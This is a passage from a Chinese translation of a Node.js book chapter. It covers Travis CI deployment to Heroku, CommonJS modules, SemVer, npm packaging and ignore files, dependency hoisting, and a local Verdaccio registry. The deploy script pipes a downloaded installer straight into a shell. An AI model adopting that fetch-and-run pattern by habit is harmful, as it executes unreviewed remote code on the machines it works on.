如果这些命令无法正常工作,可以在线找到有关安装 Travis 可执行文件的文档。安装了工具后,您现在可以准备加密之前获取的 Heroku API 密钥,以用作 Travis 部署脚本中的环境变量。运行以下命令首先使用 GitHub 凭据登录到 Travis 账户,然后生成加密的环境变量:
$ travis login --pro --auto-token
$ travis encrypt --pro HEROKU_API_KEY=<YOUR_HEROKU_API_KEY>
--pro 参数告诉 Travis 可执行文件,您正在使用 travis-ci.com 账户,而不是自托管版本。
记录来自 travis encrypt 命令的输出。您很快会需要添加它。输出字符串特别锁定了键和值。通过查看加密值,您甚至无法看出环境变量名称是 HEROKU_API_KEY。
现在您已经获得了加密的环境变量,可以对之前创建的 .travis.yml 进行一些额外的更改。打开文件并将 示例 6-8 的内容追加到文件末尾。
示例 6-8. distnode-deploy/.travis.yml(已修改)
deploy:
provider: script
script: bash deploy-heroku.sh 
on:
branch: master 
env: 
global:
将构建 Docker 镜像。
master 分支将运行 deploy-heroku.sh。
加密的环境变量将在此处进行。
这样配置了文件的 deploy 部分。Travis CI 提供了几种不同的 provider 选项,这些选项是与第三方服务的集成。在本例中,您使用的是 script 提供程序,它允许您手动运行 shell 命令。总体而言,此配置告诉 Travis 在 master 分支有更改时运行 deploy-heroku.sh 脚本。
此处正在配置的另一个部分是 env 部分,尽管从技术上讲,您尚未添加条目。获取 travis encrypt 命令的输出,并将其添加到 .travis.yml 中。它应该位于自己的一行上,以四个空格开头,后跟一个连字符,再后跟“secure:”,以及用引号括起来的长加密字符串。您的文件中的 env 部分现在应该如下所示:
env:
global:
- secure: "LONG STRING HERE"
您还需要创建一个 Dockerfile。对于本示例,您可以简单地使用之前部分创建的基本 Dockerfile 的变体。使其与众不同的一点是,该 Dockerfile 将默认的 HOST 环境变量设置为 0.0.0.0。添加 示例 6-9 中的内容,以准备好运行您的应用程序。
示例 6-9. distnode-deploy/Dockerfile
FROM node:14.8.0-alpine3.12
WORKDIR /srv
COPY package*.json ./
RUN npm ci --only=production
COPY . .
ENV HOST=0.0.0.0
CMD [ "node", "server.js" ]
现在,您的 .travis.yml 文件已配置完成,您的 Dockerfile 也已完成,可以开始部署您的应用程序。
部署您的应用程序
在前一节中,您向 .travis.yml 文件添加了一个名为 deploy-heroku.sh 的 shell 脚本的引用。现在您可以为此文件添加内容。创建文件并添加 示例 6-10 中的内容。请注意,您需要将两个 --app <USERNAME>-distnode 标志更改为您之前选择的 Heroku 应用程序的名称。
示例 6-10. distnode-deploy/deploy-heroku.sh
#!/bin/bash
wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh
heroku plugins:install @heroku-cli/plugin-container-registry
heroku container:login
heroku container:push web --app <USERNAME>-distnode
heroku container:release web --app <USERNAME>-distnode
此文件使用另一个名为 heroku 的 CLI 实用程序。此实用程序允许您从命令行配置 Heroku 应用程序。它可供您在本地开发机器上安装,但在本例中,它是在 Travis CI 构建服务器上以自动化方式运行的。命令在 Travis 上尚不存在,因此第一个 wget 命令将其安装。第二个命令安装了一个额外的插件,允许 heroku 管理 Docker 容器。
heroku container:login 子命令指示 heroku 登录到由 Heroku 托管的 Docker Registry。此命令将查找名为 HEROKU_API_KEY 的环境变量以便登录(否则,它将提示输入登录凭据)。该值是之前配置的加密环境变量提供的。
heroku container:push 命令有两个作用。首先,它基于当前目录中的 Dockerfile 构建一个 Docker 镜像。接下来,它将该镜像推送到 Docker Registry。
最后,heroku container:release 命令告诉 Heroku 服务执行实际的发布。这将导致服务器从 Docker Registry 拉取镜像,运行新容器,将流量从旧容器切换到新容器的 URL,然后销毁旧容器。这几个简短的命令在幕后运行了大量工作。
现在你已经完成了必要的文件更改,准备触发部署。将你修改的文件添加到 git 中,提交它们,然后推送。你可以通过运行以下命令来完成这些操作:
$ git add .
$ git commit -m "Enabling Heroku deployment"
$ git push
此时,你已经触发了构建流水线。这可能需要一两分钟来部署。由于不是立即的,你可以在部署过程中尝试查看进度。
首先,返回到 Travis CI 仪表盘 屏幕,在那里你会看到你的仓库列表。然后,点击你项目仓库的条目。
仓库屏幕有几个选项卡,默认选项卡是当前选项卡,你当前正在查看。点击第二个选项卡,名为 Branches,查看分支列表。这个分支列表显示了 Travis 见过并构建过的各种分支。你应该能看到列出了两个分支,第一个是正在构建的 master 分支,第二个是之前代表你创建的拉取请求的 feature-1 分支。我项目中的分支列表看起来像 Figure 6-5。你的应该会简单一些,因为我对 master 分支运行了多次构建。

Figure 6-5. Travis 分支列表
点击 master 分支旁边的构建编号链接。在我的案例中,链接标题是“# 25 received”;你可能会看到不同的编号,取决于你点击的速度,你可能会看到类似“# 5 passed”的不同文本。这将带你进入构建详细信息屏幕。
在这个屏幕上,你应该能再次看到构建过程的概览。这个屏幕看起来与你之前在 Travis 上查看拉取请求构建时有些不同。例如,这个屏幕列出了你创建的新环境变量。在这种情况下,它应该列出 HEROKU_API_KEY=[secure],表明该值存在且已被加密。我在我的屏幕上看到的是 Figure 6-6。

图 6-6. Travis 分支列表
此时,作业日志应该会显示构建过程将内容写入控制台的更新。在此输出中,有一个名为“部署应用程序”的新部分。如果您展开此部分,您应该会看到由 heroku 可执行文件在 Travis 上执行的各种 Docker 命令的输出。最终,您应该会看到以下消息显示:
Releasing images web to <USERNAME>-distnode... done
请注意,Travis CI 界面会随着构建阶段的更改而展开和折叠部分,因此您可能需要返回并展开部分,或者在构建过程中打开页面太早时等待直到该部分可用。
一旦显示了该消息,您的应用程序现在已准备就绪并在生产环境中运行。在浏览器中打开一个新标签页,并导航到以下 URL,以适应您的 Heroku 应用程序名称:
https://<USERNAME>-distnode.herokuapp.com/
如果一切顺利,您应该会在浏览器窗口中看到“来自分布式 Node.js 的问候!”的消息。
模块、包和语义化版本
Node.js 应用程序可能会变得复杂。虽然在一个单一的大文件中运行所有内容在技术上是可能的,而且我知道我的早期项目中有些是这样构建的,但一个应用程序必须被分解成更小的文件以避免使开发人员发疯。如果代码被适当地隔离到单独的文件中,开发人员可以更好地专注于复杂代码库中的一个较小部分。较小的文件还有助于避免在多个开发人员同时对项目进行版本控制更改时的冲突。这就是模块的作用所在。
有时候代码需要在多个应用程序之间重复使用。当这种情况发生时,代码会转换成一个包。这种代码重用通常分为两类。在第一类别中,一个包非常通用,对其他组织有益。在第二类别中,该包可能包含商业机密或其他仅对编写它的组织有利的内容,但仍可能对组织内多个应用程序有益。无论哪种情况,这些包都需要进行版本管理和发布。
但在深入了解打包复杂性之前,是时候对 Node.js 中实现的模块有一个坚实的理解了。
Node.js 模块
Node.js 支持两种不同的模块格式。第一种格式是 CommonJS 模块,这是 Node.js 自从开始采用的格式。第二种格式是 ECMAScript 模块(ESM),这是近年来积极开发的格式,最终应该能弥合在浏览器和 Node.js 中运行的 JavaScript 之间的差距。很可能有一天,大多数应用程序代码都将使用 ESM 编写,但截至 Node.js v14.8,ECMAScript 模块仍然被标记为实验性,这意味着仍可能进行破坏性变更。因此,本节和本书都着重于 CommonJS 模块。
一个 Node.js 模块是一个 JavaScript 文件,可以直接执行或由 Node.js 进程引入。以这种方式运行的 JavaScript 文件与在 web 浏览器中运行的普通 JavaScript 文件不同。这主要是因为 Node.js 遵循 CommonJS。在 CommonJS 中,功能通过名为 exports 的对象导出,通过名为 require 的函数导入。这些功能都不是 JavaScript 语言的核心部分^(4),而是由 Node.js 运行时引入的。
Node.js 模块与浏览器 JavaScript 不同的另一个方面在于,如果你在 JavaScript 文件的开头声明一个变量,比如 var foo = *bar*,那么这个值不会成为全局变量。相反,它只能在当前文件中访问。Node.js 模块这样工作的原因是因为 Node.js 自动将每个 JavaScript 文件包装在以下函数声明中:
(function(exports, require, module, __filename, __dirname) {
// File contents go here
});
这个 包装器 为应用程序开发者提供了一些便利。最重要的是,它提供了 exports 和 require,这是 CommonJS 标准所需的。__filename 和 __dirname 都是字符串,方便了解文件的位置。它们都是绝对路径。require 函数也是一个对象,附带了几个属性。请注意,Node.js 在包装文件之前也会删除存在的 shebang 行。
module 对象也包含几个属性,用于描述当前的 Node.js 模块。exports 函数包装器参数是对 module.exports 属性的引用。__filename 变量是对 module.filename 的便捷引用,而 __dirname 则是 path.dirname(__filename) 的便捷引用。
有了这些信息,你可以通过 require.main === module 来检查当前模块是否是应用程序的入口点。我在测试 server.js 文件时见过这种用法;如果模块是入口点,则启动服务器。如果不是入口点,则导出服务器实例,以便测试可以与其交互。
虽然在 Node.js 中设定全局变量几乎被普遍反对,但是它是可能的。V8 引擎提供了两个全局对象的引用:较新的 globalThis 和较旧的 global。浏览器也有两个全局对象的引用:较新的 globalThis 和较旧的 window。当然,Node.js 应用程序并没有window概念,所以使用 global。由于在服务器和浏览器之间共享 JavaScript 文件的流行程度,globalThis 被创建来弥合这一差距。
require() 函数是你可能已经多次使用过的东西。但有时它的行为可能不像你期望的那样。事实证明,当你调用这个函数时,Node.js 尝试加载模块的过程中涉及到相当多的复杂性,这是一个使用 模块解析算法 的过程。其中有很多内容,但以下是调用 require(mod) 时发生的几个例子:
-
如果 mod 是核心 Node.js 模块的名称(如
fs),则加载它。 -
如果 mod 以 “
/”、“./” 或 “../” 开头,则加载解析后的文件或目录路径。-
如果加载的是一个目录,则查找一个带有
main字段的 package.json 文件并加载该文件。 -
如果一个目录不包含 package.json,尝试加载 index.js。
-
如果加载的是一个文件,尝试加载完全匹配的文件名,然后回退到添加文件扩展名 .js、.json 和 .node(原生模块)。
-
-
在 ./node_modules 中查找与 mod 字符串匹配的目录。
- 在每个父目录中查找 node_modules 目录,直到遇到根目录。
正如我之前提到的,这有点复杂。表格 6-2 展示了一些 require() 调用的例子以及 Node.js 运行时将在哪里寻找匹配文件。这假设 require() 发生在 /srv/server.js 文件中。
Table 6-2. 在 /srv/server.js 中的模块解析
require('url') |
核心 url 模块 |
|---|---|
require('./module.js') |
/srv/module.js |
require('left-pad') |
/srv/node_modules/left-pad/, /node_modules/left-pad/ |
require('foo.js') |
/srv/node_modules/foo.js/, /node_modules/foo.js/ |
require('./foo') |
/srv/foo.js, /srv/foo.json, /srv/foo.node, /srv/foo/index.js |
关于这些例子有一个棘手之处是 require('foo.js') 的调用。它看起来是对一个 JavaScript 文件的引用,但实际上它最终会在 node_modules 目录中寻找一个名为 foo.js/ 的目录。
当需要引入文件时,通常最好是明确指定文件扩展名,而不是省略它。这样做实际上可以防止可能很难捕捉的错误。例如,如果一个目录中包含 contacts.js 文件和 contacts.json 文件,调用 require('./contacts') 将正确加载 contacts.js 文件。但是当进行重构并移除 contacts.js 文件时,将会加载 contacts.json 文件,这可能导致运行时错误。
当模块在运行的 Node.js 进程中加载时,它们会添加到一个称为 require cache 的东西中。该缓存位于 require.cache 中,并且对每个模块都可用。该缓存是一个对象,其中键是文件的绝对路径,值是一个“Module”对象。module 变量也是一个 Module 对象。这些 Module 对象包含一个称为 exports 的属性,该属性是模块导出功能的引用,除其他外。
这个模块缓存非常重要。当调用 require() 并解析要加载的文件路径时,Node.js 首先查看 require 缓存。如果找到匹配的条目,则使用该条目。否则,如果文件是第一次加载,则从磁盘读取和评估该文件。这就是 Node.js 如何防止多次加载的依赖项多次执行。
现在你对 Node.js 模块有了一些了解,几乎可以开始学习 npm 包了。但在此之前,先了解一下称为 SemVer 的东西。在处理 npm 包时,这是一个非常重要的概念。
SemVer(语义化版本)
SemVer 是 语义化版本 的简称。这是一种用于确定依赖项版本号的哲学,当它们被更新和发布时使用。SemVer 被许多不同的包管理平台使用,并且被 npm 大量依赖。
SemVer 版本主要由三个单独的数字组成,例如 1.2.3。第一个数字称为主版本,第二个数字称为次版本,第三个数字称为补丁版本。可以通过在版本字符串后附加连字符和额外字符串来描述关于预发布的其他信息。但是,生产应用程序通常不使用此类预发布,因此这里不会涉及到。
整体版本号的每个组件都有特定的含义。当一个包进行了破坏性变更以使其向后兼容性被打破时,应该增加主版本号。当一个包添加新功能但保持向后兼容性时,应该增加次要版本号。如果一个变更只导致 bug 修复而没有其他内容,那么应该增加补丁版本号。每当版本号增加时,较低的版本号都将重置为零。例如,如果在版本 1.2.3 中引入了一个重大变更,它应该变成 2.0.0(而不是 2.2.3)。如果一个包的发布引入了多个变更,则最重要变更的影响决定了新的版本号。
什么是向后不兼容变更或添加新功能?嗯,每个包不仅需要提供功能,还需要记录其功能。这些记录的功能形成了包作者与选择使用包的任何人之间的契约。违反这一契约将导致拉取请求、愤怒的 GitHub 问题和衍生的分支超过原始包。每个发布包的工程师都有责任遵循 SemVer,并维护其记录的功能列表。
SemVer 的一个特殊情况是,当版本号的最高有效数字以零开头时。在这些情况下,第一个非零数字被认为是主版本,接下来的数字是次要版本,依此类推。这意味着,如果在版本 0.1.2 中引入了一个重大变更,它将变成版本 0.2.0。如果一个包的版本是 0.0.1,那么任何重大变更都可能导致版本变成 0.0.2。
包作者可以在任何时候任意增加版本号中的任何数字。例如,如果一个包的版本是 0.0.7,并且达到了重要的里程碑,作者可以将其增加到 0.1.0。一般来说,一旦作者确定一个包已经准备好投入生产,该包将升级到版本 1.0.0。
SemVer 的真正力量在于使用包的应用程序应该自由地接受所有次要或补丁更新,而无需担心其应用程序可能会崩溃。在实践中,npm 包的作者并不总是如此自律,这就是为什么对应用程序依赖项的任何更新都需要运行测试套件通过的原因。在许多情况下,应用程序作者可能需要与应用程序互动,以确保其按预期工作。
Node.js 项目的依赖关系使用package.json文件中的dependencies部分进行指定。在运行npm install或yarn时,会根据这些依赖关系来确定从 npm 注册表复制哪些包到本地文件系统。可以直接指定包版本,也可以使用前缀。甚至可以使用更复杂的语法,如详细的版本范围和星号,但这里不会涉及到。以下是一些依赖字符串的示例:
"dependencies": {
"fastify": "².11.0",
"ioredis": "~4.14.1",
"pg": "7.17.1"
}
此列表中加载的第一个包fastify具有版本前缀^(脱字符)。这意味着任何与指定版本兼容的未来版本都将被安装。例如,在安装时,如果版本 2.11.1 是最新的,那么将使用该版本。或者如果版本 2.17.0 是最新的,则将使用该版本。如果有 3.0.0 版本可用,则不会使用。脱字符前缀是运行npm install命令时的默认前缀。因此,每个包都遵循语义化版本非常重要。否则,在 npm 包进行松散更新时,可能会导致许多应用程序出现故障。
下一个包ioredis只接受包含 bug 修复(补丁更新)的包更新。它可以升级到 4.14.2 版本,但永远不会升级到 4.15.1 版本。这是一种更保守的包安装方式。第三个包pg只会安装 7.17.1 版本的包。这甚至更加保守。
现在是思想实验的时候了。假设你是一个暴露单个类的包的作者。这个包只被你组织内的团队使用。这个包的当前版本是 1.0.0,仅包含三个方法,每个方法都有文档说明。这个包看起来像这样:
module.exports = class Widget {
getName() {
return this.name;
}
setName(name) {
this.name = name;
}
nameLength() {
return this.name.length;
}
}
在某个时候,你发现一些用户在setName()方法中传递一个数字,后来导致nameLength()方法出现了一个 bug。如果你要修改setName()方法的话,你会选择什么版本号?
setName(name) {
this.name = String(name);
}
在某个时候,你决定添加一个方法来检查是否已设置名称。你通过添加一个名为hasName()的额外方法来实现这一点。如果你通过添加以下方法来实现这一点,你会选择什么版本号?
hasName() {
return !!this.name;
}
最后,你意识到nameLength()方法可能有点不必要。你询问组织内依赖于你的包的所有团队是否在使用这个方法,所有人都告诉你不是。因此,你决定彻底移除nameLength()方法。那么接下来你应该选择什么版本作为你的包的版本号?
在第一个示例中,修改setName()方法被视为修复 bug。这应导致补丁更改,新版本为 1.0.1。在第二个示例中,添加hasName()方法添加了新功能。代码几乎完全向后兼容以前的版本。这意味着这个更改是一个小的更改,版本号应为 1.1.0。最后,在第三个示例中,移除了功能。确实,您与每个使用您软件包的团队交流过,并确定没有人在使用此功能。但是这个事实只表明可以进行更改;这并不意味着更改不重要。因此,此更改是一个主要更改,软件包版本应为 2.0.0。
这些示例展示了在更新软件包版本时可能遇到的最基本情况。在实际操作中,您可能会遇到更为复杂的问题。例如,假设您导出了一个类,它是一个 Node.js 的EventEmitter实例。这个类表示一个可以加水的桶,并且会触发多个事件,包括ready、empty和full。在您的软件包版本 1.0.0 中,empty事件在ready事件之前被触发。但是在进行一些重构和思考后,您决定在ready事件之后触发empty事件。这种 SemVer 版本更新会导致什么样的结果呢?这只是一个修复 bug 吗?还是一个新功能?它是向后不兼容的变更吗?
在这些情况下,通常更倾向于选择更显著的版本更改。如果您将此更改发布为补丁更改,可能会导致生产 bug,并且可能会导致水桶溢出。然而,如果您将其作为主要更改发布,工程师们将需要手动升级,并应查阅您的发布说明。此时,他们可以审核其应用程序代码,确定是否需要随依赖项升级而进行任何应用程序代码的更改。
软件包也可以将其他软件包作为依赖项。这些依赖项通常称为子依赖项。有时,如果一个软件包将子依赖项从一个主要版本升级到另一个主要版本,那么它将需要自身的主要版本号增加。如果子依赖项更新其所需的 Node.js 版本,就可能发生这种情况。例如,如果软件包 A @ 1.2.3 依赖于 B @ 5.0.0,并且软件包 B @ 6.0.0 不再支持 Node.js v10,则软件包 A 需要将其版本增加到 2.0.0。否则,如果对子依赖项的更改没有任何公共副作用,则可以进行较小的 SemVer 版本增加。
尽管将 SemVer 版本分配给应用程序可能很诱人,但通常情况下并不适用。例如,如果您正在开发一个 Web 应用程序,并将背景从红色更改为粉红色,这算是一个小变更吗?它是一个补丁变更吗?像 UX 变更这样的事情并不容易在 SemVer 范式中进行转换。决定 API 端点版本是完全不同的事情,SemVer 在这里也不适用。
现在您对 SemVer 的微妙之处稍有了解,是时候看看 npm 包开发了。
npm 包和 npm CLI
npm 包是一组 Node.js 模块和其他支持文件,已合并为单个 tarball 文件。这个 tarball 文件可以上传到注册表,例如 公共 npm 注册表,私有注册表,甚至作为 tarball 进行手动安装。^(5) 无论如何,npm CLI 可以将这些包安装到特定项目的 node_modules/ 目录中。
Node.js 运行时技术上并不知道什么是 npm 包。事实上,应用程序的 package.json 文件中的 dependencies 部分甚至不会被 Node.js 运行时查阅。但是 Node.js 确实知道如何要求位于 node_modules/ 目录中的包。最终,npm CLI 负责将应用程序的依赖列表转换为文件系统层次结构。
Node.js 拥有一个非常小的标准库,比许多其他语言的标准库要小得多。没有官方的“万能包”来提供许多应用程序所需的基本功能。Node.js 的座右铭是尽可能地将多数功能留在核心平台之外,而是让社区来构建这样的功能并将其作为 npm 包发布。例如,没有内置机制来生成 UUID 值,但是在 npm 上有数十种实现可用。Node.js 只提供这些包依赖的核心功能,如 crypto.randomBytes()。
由于决定保持核心 Node.js 的精简,对于给定的 Node.js 应用程序,大多数安全漏洞需要更新 npm 包,而不是升级 Node.js 运行时。这通常会导致安全修复的快速反应。另一个效果是,许多 JavaScript 开发人员发布了许多包。npm 注册表是世界上最大的软件包仓库。几乎为开发人员需要的任何东西都有一个包,这也促进了 Node.js 的流行。
控制包内容
现在您对 npm 包理论有了一些了解,是时候创建一个了。运行以下命令为您的包创建一个新目录,并初始化一个 package.json 文件。在提示时,将版本设置为 0.1.0,但否则保留默认值:
$ mkdir leftish-padder && cd leftish-padder
$ npm init
# set version to: 0.1.0
$ touch index.js README.md foo.js bar.js baz.js
$ mkdir test && touch test/index.js
$ npm install --save express@4.17.1
$ dd if=/dev/urandom bs=1048576 count=1 of=screenshot.bin
$ dd if=/dev/urandom bs=1048576 count=1 of=temp.bin
现在你有了类似许多 npm 包的目录结构。screenshot.bin 代表一个应该上传到版本控制库的文件(例如,在 GitHub 仓库的 README.md 文件中提供截图),但实际上不应该作为 npm 包的一部分。temp.bin 代表一个不应该被检入版本控制或打包的副作用文件。剩余的 JavaScript 文件应该被检入和打包。
运行 **ls -la** 命令来查看当前磁盘上的所有文件。Table 6-3 是我机器上的文件列表。
表 6-3. 文件列表输出
| 大小 | 文件名 | 大小 | 文件名 | 大小 | 文件名 |
|---|---|---|---|---|---|
| 0 | bar.js | 0 | baz.js | 0 | foo.js |
| 0 | index.js | 4.0K | node_modules | 260 | package.json |
| 14K | package-lock.json | 0 | README.md | 1.0M | screenshot.bin |
这并不完全代表理想的包内容。从技术上讲,唯一需要的文件是 JavaScript 文件和 package.json 文件。通常也会包含 README.md 文档,以便任何工程师在浏览 node_modules/ 目录以修复错误时能够了解包的用途。
npm CLI 工具确实带有一些合理的默认设置,用于忽略某些不应包含在 npm 包中的文件。例如,package-lock.json 文件仅对应用程序有用,在单独的包中完全没有意义。node_modules/ 目录也不应该包含在包中。相反,npm CLI 将检查所有嵌套依赖项并确定最佳的文件系统布局。
可以查看 npm 包 tarball 的内容,而不必实际生成和上传到 npm 注册表。运行 **npm publish --dry-run** 命令来模拟生成此包。^(6) 此命令显示包的文件内容和文件的大小。Table 6-4 是我机器上得到的清单。
表 6-4. npm 包文件列表
| 大小 | 文件名 | 大小 | 文件名 | 大小 | 文件名 |
|---|---|---|---|---|---|
| 1.0MB | screenshot.bin | 1.0MB | temp.bin | 0 | bar.js |
| 0 | baz.js | 0 | foo.js | 0 | index.js |
| 0 | test/index.js | 260B | package.json | 0 | README.md |
npm 的默认行为很方便,但并不完全符合此特定包的要求。例如,它不知道 temp.bin 对于包的工作并不是必需的。对于其余不需要的文件,您需要手动创建忽略规则。npm CLI 遵循 .gitignore 文件中包含的条目,您无论如何都需要编辑该文件,因为某些文件不应该被检入。
创建一个名为.gitignore的文件,并将示例 6-11 中的条目添加到文件中,以防止不需要的文件被添加到版本控制中。
示例 6-11. leftish-padder/.gitignore
node_modules
temp.bin
package-lock.json
node_modules/目录不应该被提交到版本控制中。这适用于所有 Node.js 项目——无论是包还是应用程序。temp.bin文件是这个软件包特有的,不应包含在内。package-lock.json文件是一个特殊情况。如果您正在构建一个应用程序,则不应忽略此文件;它实际上非常重要。但是对于 npm 软件包,在安装时将其内容忽略,因此其存在只会让贡献者感到困惑。
现在,您可以查看新软件包内容的样子了。再次运行**npm publish --dry-run**命令以查看新软件包内容。列表应该看起来一样,只是temp.bin文件现在不见了。
最后,创建一个名为.npmignore的新文件。该文件包含应在生成的 npm 软件包中省略的条目。像node_modules/目录这样已被 npm 忽略的条目通常不会被添加,因为它们会显得多余。如果您只有一个.gitignore文件,npm 将尊重它,但一旦您创建了一个.npmignore文件,npm 将不再考虑.gitignore。因此,您需要重复来自.gitignore的 npm 不会默认忽略的条目。将示例 6-12 中的内容添加到您的新.npmignore文件中。
示例 6-12. leftish-padder/.npmignore
temp.bin
screenshot.bin
test
现在您已经做出最终更改,请再次运行**npm publish --dry-run**命令。表 6-5 列出了我在我的计算机上得到的文件列表。
表 6-5. 带有.gitignore和.npmignore文件的 npm 软件包文件列表
| 大小 | 文件名 | 大小 | 文件名 | 大小 | 文件名 |
|---|---|---|---|---|---|
| 0 | bar.js | 0 | baz.js | 0 | foo.js |
| 0 | index.js | 260B | package.json | 0 | README.md |
至此,您已经对 npm 软件包的内容进行了精细调整。
提示
如果您使用 npm CLI 登录到npmjs.com帐户并运行npm publish命令,那么您将创建一个名为leftish-padder的新公共软件包(假设没有其他读者比您更快)。通常,您正在处理的代码代表了您不希望发布的内容。例如,如果您正在处理一个闭源软件包,甚至是一个 Node.js 应用程序,那么运行npm publish可能会将专有代码复制到公共位置。为了防止这种情况发生,您可以向package.json添加一个顶级条目,内容为"private": true。有了这个设置,发布命令应该会失败。
当你发布一个包时,发布的版本基本上是不可变的。npm 注册表不允许更改它们。在这之后有一个 72 小时的宽限期,期间你可以撤销一个包的发布。这是为了防止你发布了不应该发布的内容,比如私密凭证。尽管如此,有许多服务不断地抓取 npm 注册表,所以任何已发布的凭证都应该被视为已泄露,无论你撤销得有多快。
如果你发布了一个“破坏性”的包,比如一个引入破坏性变更的补丁版本,按照语义化版本控制(SemVer)的推荐方法,应立即发布一个新版本的包,回滚这个破坏性变更,并将其发布为另一个补丁版本。例如,如果版本 1.2.3 的包正常运行,而版本 1.2.4 引入了问题,应重新发布 1.2.3 的代码(或修复破坏性变更),并将其发布为 1.2.5。如果问题及时发现,可能可以撤销 1.2.4 的发布。
npm 不允许随意撤销任何包版本的原因是,这样做可能会导致其他人的应用出现破坏性变更。left-pad 包因此 被著名地撤销,导致互联网上的应用构建失败。理论上,72 小时的限制可以最小化从一个撤销中产生的损害,因为引用未发布版本的 package.json 文件数量应该很少。
依赖层次结构和去重
Node.js 应用几乎总是依赖于 npm 包。这些包又会依赖于其他包。这导致了一个依赖树的结构。记住,当 require() 函数确定参数像一个包时,它会在调用 require() 的文件所在目录下的 node_modules/ 目录中查找,然后在每个父目录中查找。这意味着一个简单的 npm install 算法可能会简单地将每个包的子依赖项的副本放置到该包特定的 node_modules/ 目录中。
举个例子,考虑一个虚构的情况,一个应用的 package.json 文件依赖于两个包,foo@1.0.0 和 bar@2.0.0。foo 包没有依赖,但 bar 包依赖于 foo@1.0.0。在这种情况下,简单的依赖层次结构看起来是这样的:
node_modules/
foo/ (1.0.0)
bar/ (2.0.0)
node_modules/
foo/ (1.0.0)
这种方法存在两个问题。第一个问题是,有时包可能会出现循环依赖,导致一个无限深的 node_modules/ 目录。第二个问题是,许多依赖树最终会出现重复的包,增加磁盘空间需求。
为了克服这些问题,npm CLI 将尝试在node_modules/目录中“合并”或“提升”子依赖项。当这种情况发生时,深度嵌套包中的require()调用会向上升级文件系统,直到找到该包。继续上一个示例,node_modules/目录可能看起来像这样:
node_modules/
foo/ (1.0.0)
bar/ (2.0.0)
当bar包寻找foo包时,它将无法在自己的包中找到node_modules/目录,但会在高一级找到它。
npm CLI 用于确定依赖树布局的算法最终变得相当复杂。例如,考虑每个包都以某种方式指定其依赖包的版本范围。npm 然后可以选择一个通用版本来满足多个版本范围的需求。还要考虑到一次只能在node_modules/目录中存在一个包的单个版本,因为该目录是以包命名的。如果bar@2.0.0包实际上依赖于foo@2.0.0,那么foo包就不能被合并到根node_modules/目录中。在这种情况下,依赖树将看起来更像这样:
node_modules/
foo/ (1.0.0)
bar/ (2.0.0)
node_modules/
foo/ (2.0.0)
随着时间的推移,新的包不断发布到 npm 注册表中。这意味着将添加满足应用程序版本要求的新版本包。这也意味着不能保证应用程序的依赖树在后续的npm install运行之间保持不变。即使您可以在应用程序的package.json文件中指定精确的包版本,这些依赖项的子依赖项大多数情况下不使用精确版本,导致看似非确定性的依赖树。
有时,当依赖树发生变化时,小的错误或行为变化可能会进入应用程序。package-lock.json文件(及其被遗忘的姐妹npm-shrinkwrap.json)的创建是为了锁定整个依赖树的表示。随着新的包版本的出现,每次后续运行npm install时,依赖树都将保持不变。然后,当您准备更新或添加新的包时,可以使用适当的npm install <package>命令进行。这将导致package.json和package-lock.json的更改,可以作为单个版本控制提交进行检查。
要查看这种包“合并”过程的更复杂示例,请切换回您创建leftish-padder包的终端。回想一下,您之前安装了express@4.17.1。现在运行命令ls node_modules。这将给您列出所有已提升到顶层node_modules/目录的包的列表。即使您只安装了express包,您实际上应该看到几十个包被列出。在我的机器上,我看到了一个包含 49 个包的列表,以下是其中的前十二个,尽管您可能会看到不同的结果:
accepts array-flatten body-parser bytes
content-disposition content-type cookie cookie-signature
debug depd destroy ee-first
这提供了包在磁盘上的“物理”布局。要查看依赖树的“逻辑”布局,请运行 npm ls 命令。这将列出依赖树。以下是我在我的机器上看到的输出的截断版本:
leftish-padder@0.1.0
└─┬ express@4.17.1
├─┬ accepts@1.3.7
│ └─ ...TRUNCATED...
├─┬ body-parser@1.19.0
│ ├── bytes@3.1.0
│ ├── content-type@1.0.4 deduped
├ ... TRUNCATED ...
├── content-type@1.0.4
在这种情况下,唯一的顶级依赖项是 express@4.17.1,这是有道理的,因为它是根 package.json 文件中唯一定义的包。express 包依赖于许多包,包括 body-parser,而 body-parser 又依赖于许多包,包括 content-type。注意,最后一个包旁边有字符串“deduped”。这意味着 npm CLI 已将该包提升到依赖树中更高的位置。最后一行显示 content-type 包是 express 的直接子级。
一定要确保不要 require() 一个未列为项目直接依赖的包。如果 leftish-padder 包中的任何模块尝试使用像 require('content-type') 这样的提升包,该 require 在技术上会起作用。然而,不能保证一旦依赖树再次移动,该调用将会正常工作。
提示
在 npm 包内创建 singleton 实例时要小心。考虑一个在首次实例化时创建单例数据库连接的包。取决于这个包如何被去重,可能会导致一个应用程序中创建多个数据库连接。此外,当在包内定义类时,要注意 instanceof 运算符。foo@1.0.0#MyClass 的实例将不能通过与 foo@1.0.1#MyClass 的实例的 instanceof 检查。
内部 npm 注册表
公共 npmjs.com 注册表是 npm 包的首选来源。默认情况下,npm CLI 实用程序配置为从该注册表下载包,并将包发布到该注册表。尽管如此,许多组织可能会发现他们需要运行一个内部 npm 注册表。就像任何流行的 SaaS 工具一样,总会有理由运行内部版本而不是依赖公共版本。以下是一个组织选择运行内部 npm 注册表的一些原因:
-
像任何 SaaS 工具一样,npmjs.com 注册表偶尔会遇到故障。这可能会阻止应用程序的构建和部署。
-
一个组织可能希望托管私有包,但又不想支付 npmjs.com 的费用。
-
一个组织可能希望了解其各个项目正在安装哪些包的统计数据。
-
一个组织可能希望阻止已知存在漏洞的包。
-
一个组织可能会消耗太多带宽,要么会被限速,要么会被 npm 封锁。(参见 7)
有许多不同的工具可用于托管内部 npm 注册表。像本书中使用过的许多其他工具一样,注册表是一个在某处运行的服务,监听一个端口,并且可能与主机名相关联。npm CLI 可以配置为与这个私有注册表交互。这些注册表通常配有代理功能。某些注册表不仅仅托管组织的私有包,还可以下载和缓存公共注册表中可用的包。这样,具有公共和私有包的应用程序可以通过与内部注册表通信来获取所需的每个包。
运行 Verdaccio
在本节中,您将使用 Verdaccio 服务。它是一个用 Node.js 编写的开源 npm 注册表。可以通过安装从 npm 获得的全局包来运行它,尽管您将在 Docker 容器内部使用它。
运行以下命令以在本地运行 Verdaccio npm 注册表的副本:
$ docker run -it --rm \
--name verdaccio \
-p 4873:4873 \
verdaccio/verdaccio:4.8
执行该命令后,请等待 Docker 镜像层下载并运行该镜像。然后,一旦您的终端稳定下来,打开以下 URL 在您的 Web 浏览器中查看 Verdaccio 网页界面:
http://localhost:4873/
此时,不应列出任何软件包,因为您尚未使用它。
配置 npm 使用 Verdaccio
